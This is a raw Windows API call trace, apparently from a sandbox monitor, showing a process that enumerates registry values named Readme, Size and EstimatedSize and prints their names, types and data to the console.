GetProcessHeap () returned 0x2e0000 [0148.498] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f7890) returned 1 [0148.498] GetProcessHeap () returned 0x2e0000 [0148.498] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2f7890) returned 0x30 [0148.498] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f7890 | out: hHeap=0x2e0000) returned 1 [0148.498] RegEnumValueW (in: hKey=0x5c, dwIndex=0xc, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="Readme", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0148.498] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Readme", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0148.498] GetProcessHeap () returned 0x2e0000 [0148.498] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6) returned 0x2fcda0 [0148.498] GetProcessHeap () returned 0x2e0000 [0148.498] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0148.498] GetProcessHeap () returned 0x2e0000 [0148.498] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0148.498] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Readme", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fcda0, pcbData=0x23f670*=0x4 | out: pdwType=0x23f5f0*=0x1, pvData="", pcbData=0x23f670*=0x2) returned 0x0 [0148.498] __iob_func () returned 0x7fefd702a80 [0148.498] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0148.498] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0148.498] _fileno (_File=0x7fefd702ab0) returned 1 [0148.498] _errno () returned 0xc4bb0 [0148.498] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.498] _errno () returned 0xc4bb0 [0148.498] GetFileType (hFile=0x50) returned 0x1 [0148.499] lstrlenW (lpString=" ") returned 4 [0148.499] GetConsoleOutputCP () returned 0x1b5 [0148.499] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.499] GetConsoleOutputCP () returned 0x1b5 [0148.499] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.499] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.499] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.499] lstrlenW (lpString="Readme") returned 6 [0148.499] __iob_func () returned 0x7fefd702a80 [0148.499] _fileno (_File=0x7fefd702ab0) returned 1 [0148.499] _errno () returned 0xc4bb0 [0148.499] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.499] _errno () returned 0xc4bb0 [0148.499] GetFileType (hFile=0x50) returned 0x1 [0148.499] lstrlenW (lpString="Readme") returned 6 [0148.499] GetConsoleOutputCP () returned 0x1b5 [0148.499] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Readme", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0148.499] GetConsoleOutputCP () returned 0x1b5 [0148.499] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Readme", cchWideChar=6, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Readme", lpUsedDefaultChar=0x0) returned 6 [0148.499] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0148.499] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.500] __iob_func () returned 0x7fefd702a80 [0148.500] _fileno (_File=0x7fefd702ab0) returned 1 [0148.500] _errno () returned 0xc4bb0 [0148.500] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.500] _errno () returned 0xc4bb0 [0148.500] GetFileType (hFile=0x50) returned 0x1 [0148.500] lstrlenW (lpString=" ") returned 4 [0148.500] GetConsoleOutputCP () returned 0x1b5 [0148.500] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.500] GetConsoleOutputCP () returned 0x1b5 [0148.500] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.500] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.500] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.500] __iob_func () returned 0x7fefd702a80 [0148.500] _fileno (_File=0x7fefd702ab0) returned 1 [0148.500] _errno () returned 0xc4bb0 [0148.500] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.500] _errno () returned 0xc4bb0 [0148.500] GetFileType (hFile=0x50) returned 0x1 [0148.500] lstrlenW (lpString="REG_SZ") returned 6 [0148.500] GetConsoleOutputCP () returned 0x1b5 [0148.500] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0148.500] GetConsoleOutputCP () returned 0x1b5 [0148.501] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0148.501] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0148.501] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.501] __iob_func () returned 0x7fefd702a80 [0148.501] _fileno (_File=0x7fefd702ab0) returned 1 [0148.501] _errno () returned 0xc4bb0 [0148.501] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.501] _errno () returned 0xc4bb0 [0148.501] GetFileType (hFile=0x50) returned 0x1 [0148.501] lstrlenW (lpString=" ") returned 4 [0148.501] GetConsoleOutputCP () returned 0x1b5 [0148.501] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.501] GetConsoleOutputCP () returned 0x1b5 [0148.501] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.501] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.501] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.501] __iob_func () returned 0x7fefd702a80 [0148.501] _fileno (_File=0x7fefd702ab0) returned 1 [0148.501] _errno () returned 0xc4bb0 [0148.501] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.501] _errno () returned 0xc4bb0 [0148.501] GetFileType (hFile=0x50) returned 0x1 [0148.501] lstrlenW (lpString="") returned 0 [0148.502] __iob_func () returned 0x7fefd702a80 [0148.502] _fileno (_File=0x7fefd702ab0) returned 1 [0148.502] _errno () returned 0xc4bb0 [0148.502] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.502] _errno () returned 0xc4bb0 [0148.502] GetFileType (hFile=0x50) returned 0x1 [0148.502] lstrlenW (lpString="\n") returned 1 [0148.502] GetConsoleOutputCP () returned 0x1b5 [0148.502] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0148.502] GetConsoleOutputCP () returned 0x1b5 [0148.502] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0148.502] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0148.502] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.502] GetProcessHeap () returned 0x2e0000 [0148.502] GetProcessHeap () returned 0x2e0000 [0148.502] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0148.502] GetProcessHeap () returned 0x2e0000 [0148.502] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0148.502] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0148.502] RegEnumValueW (in: hKey=0x5c, dwIndex=0xd, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="Size", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0148.502] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Size", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0148.502] GetProcessHeap () returned 0x2e0000 [0148.502] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6) returned 0x2fcda0 [0148.502] GetProcessHeap () returned 0x2e0000 [0148.502] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0148.502] GetProcessHeap () returned 0x2e0000 [0148.502] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0148.502] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Size", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fcda0, pcbData=0x23f670*=0x4 | out: pdwType=0x23f5f0*=0x1, pvData="", pcbData=0x23f670*=0x2) returned 0x0 [0148.503] __iob_func () returned 0x7fefd702a80 [0148.503] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0148.503] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0148.503] _fileno (_File=0x7fefd702ab0) returned 1 [0148.503] _errno () returned 0xc4bb0 [0148.503] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.503] _errno () returned 0xc4bb0 [0148.503] GetFileType (hFile=0x50) returned 0x1 [0148.503] lstrlenW (lpString=" ") returned 4 [0148.503] GetConsoleOutputCP () returned 0x1b5 [0148.503] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.503] GetConsoleOutputCP () returned 0x1b5 [0148.503] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.503] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.503] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.503] lstrlenW (lpString="Size") returned 4 [0148.503] __iob_func () returned 0x7fefd702a80 [0148.503] _fileno (_File=0x7fefd702ab0) returned 1 [0148.503] _errno () returned 0xc4bb0 [0148.503] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.503] _errno () returned 0xc4bb0 [0148.503] GetFileType (hFile=0x50) returned 0x1 [0148.503] lstrlenW (lpString="Size") returned 4 [0148.503] GetConsoleOutputCP () returned 0x1b5 [0148.503] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Size", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.504] GetConsoleOutputCP () returned 0x1b5 [0148.504] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Size", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Size", lpUsedDefaultChar=0x0) returned 4 [0148.504] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.504] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.504] __iob_func () returned 0x7fefd702a80 [0148.504] _fileno (_File=0x7fefd702ab0) returned 1 [0148.504] _errno () returned 0xc4bb0 [0148.504] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.504] _errno () returned 0xc4bb0 [0148.504] GetFileType (hFile=0x50) returned 0x1 [0148.504] lstrlenW (lpString=" ") returned 4 [0148.504] GetConsoleOutputCP () returned 0x1b5 [0148.504] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.504] GetConsoleOutputCP () returned 0x1b5 [0148.504] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.504] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.504] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.504] __iob_func () returned 0x7fefd702a80 [0148.504] _fileno (_File=0x7fefd702ab0) returned 1 [0148.504] _errno () returned 0xc4bb0 [0148.505] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.505] _errno () returned 0xc4bb0 [0148.505] GetFileType (hFile=0x50) returned 0x1 [0148.505] lstrlenW (lpString="REG_SZ") returned 6 [0148.505] GetConsoleOutputCP () returned 0x1b5 [0148.505] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0148.505] GetConsoleOutputCP () returned 0x1b5 [0148.505] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0148.505] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0148.505] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.505] __iob_func () returned 0x7fefd702a80 [0148.505] _fileno (_File=0x7fefd702ab0) returned 1 [0148.505] _errno () returned 0xc4bb0 [0148.505] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.505] _errno () returned 0xc4bb0 [0148.505] GetFileType (hFile=0x50) returned 0x1 [0148.505] lstrlenW (lpString=" ") returned 4 [0148.505] GetConsoleOutputCP () returned 0x1b5 [0148.505] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.505] GetConsoleOutputCP () returned 0x1b5 [0148.506] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.506] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.506] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.506] __iob_func () returned 0x7fefd702a80 [0148.506] _fileno (_File=0x7fefd702ab0) returned 1 [0148.506] _errno () returned 0xc4bb0 [0148.506] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.506] _errno () returned 0xc4bb0 [0148.506] GetFileType (hFile=0x50) returned 0x1 [0148.506] lstrlenW (lpString="") returned 0 [0148.506] __iob_func () returned 0x7fefd702a80 [0148.506] _fileno (_File=0x7fefd702ab0) returned 1 [0148.506] _errno () returned 0xc4bb0 [0148.506] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.506] _errno () returned 0xc4bb0 [0148.506] GetFileType (hFile=0x50) returned 0x1 [0148.506] lstrlenW (lpString="\n") returned 1 [0148.506] GetConsoleOutputCP () returned 0x1b5 [0148.506] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0148.506] GetConsoleOutputCP () returned 0x1b5 [0148.506] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0148.506] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0148.506] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.506] GetProcessHeap () returned 0x2e0000 [0148.506] GetProcessHeap () returned 0x2e0000 [0148.506] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0148.507] GetProcessHeap () returned 0x2e0000 [0148.507] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0148.507] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0148.507] RegEnumValueW (in: hKey=0x5c, dwIndex=0xe, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="EstimatedSize", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0148.507] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="EstimatedSize", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0148.507] GetProcessHeap () returned 0x2e0000 [0148.507] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6) returned 0x2fcda0 [0148.507] GetProcessHeap () returned 0x2e0000 [0148.507] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0148.507] GetProcessHeap () returned 0x2e0000 [0148.507] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0148.507] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="EstimatedSize", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fcda0, pcbData=0x23f670*=0x4 | out: pdwType=0x23f5f0*=0x4, pvData=0x2fcda0*=0x7d0, pcbData=0x23f670*=0x4) returned 0x0 [0148.507] __iob_func () returned 0x7fefd702a80 [0148.507] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0148.507] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0148.507] _fileno (_File=0x7fefd702ab0) returned 1 [0148.507] _errno () returned 0xc4bb0 [0148.507] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.507] _errno () returned 0xc4bb0 [0148.507] GetFileType (hFile=0x50) returned 0x1 [0148.507] lstrlenW (lpString=" ") returned 4 [0148.507] GetConsoleOutputCP () returned 0x1b5 [0148.507] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.507] GetConsoleOutputCP () returned 0x1b5 [0148.507] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.507] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.507] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.508] lstrlenW (lpString="EstimatedSize") returned 13 [0148.508] __iob_func () returned 0x7fefd702a80 [0148.508] _fileno (_File=0x7fefd702ab0) returned 1 [0148.508] _errno () returned 0xc4bb0 [0148.508] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.508] _errno () returned 0xc4bb0 [0148.508] GetFileType (hFile=0x50) returned 0x1 [0148.508] lstrlenW (lpString="EstimatedSize") returned 13 [0148.508] GetConsoleOutputCP () returned 0x1b5 [0148.508] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="EstimatedSize", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0148.508] GetConsoleOutputCP () returned 0x1b5 [0148.508] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="EstimatedSize", cchWideChar=13, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="EstimatedSize", lpUsedDefaultChar=0x0) returned 13 [0148.508] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 13 [0148.508] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.508] __iob_func () returned 0x7fefd702a80 [0148.508] _fileno (_File=0x7fefd702ab0) returned 1 [0148.508] _errno () returned 0xc4bb0 [0148.508] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.508] _errno () returned 0xc4bb0 [0148.508] GetFileType (hFile=0x50) returned 0x1 [0148.508] lstrlenW (lpString=" ") returned 4 [0148.508] GetConsoleOutputCP () returned 0x1b5 [0148.508] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.508] GetConsoleOutputCP () returned 0x1b5 [0148.509] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.509] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.509] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.509] __iob_func () returned 0x7fefd702a80 [0148.509] _fileno (_File=0x7fefd702ab0) returned 1 [0148.509] _errno () returned 0xc4bb0 [0148.509] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.509] _errno () returned 0xc4bb0 [0148.509] GetFileType (hFile=0x50) returned 0x1 [0148.509] lstrlenW (lpString="REG_DWORD") returned 9 [0148.509] GetConsoleOutputCP () returned 0x1b5 [0148.509] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0148.509] GetConsoleOutputCP () returned 0x1b5 [0148.509] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0148.509] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0148.509] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.509] __iob_func () returned 0x7fefd702a80 [0148.509] _fileno (_File=0x7fefd702ab0) returned 1 [0148.509] _errno () returned 0xc4bb0 [0148.509] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.509] _errno () returned 0xc4bb0 [0148.509] GetFileType (hFile=0x50) returned 0x1 [0148.509] lstrlenW (lpString=" ") returned 4 [0148.509] GetConsoleOutputCP () returned 0x1b5 [0148.510] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.510] GetConsoleOutputCP () returned 0x1b5 [0148.510] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.510] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.510] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.510] __iob_func () returned 0x7fefd702a80 [0148.510] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0148.510] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x23f580 | out: _Buffer="0x7d0") returned 5 [0148.510] _fileno (_File=0x7fefd702ab0) returned 1 [0148.510] _errno () returned 0xc4bb0 [0148.510] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.510] _errno () returned 0xc4bb0 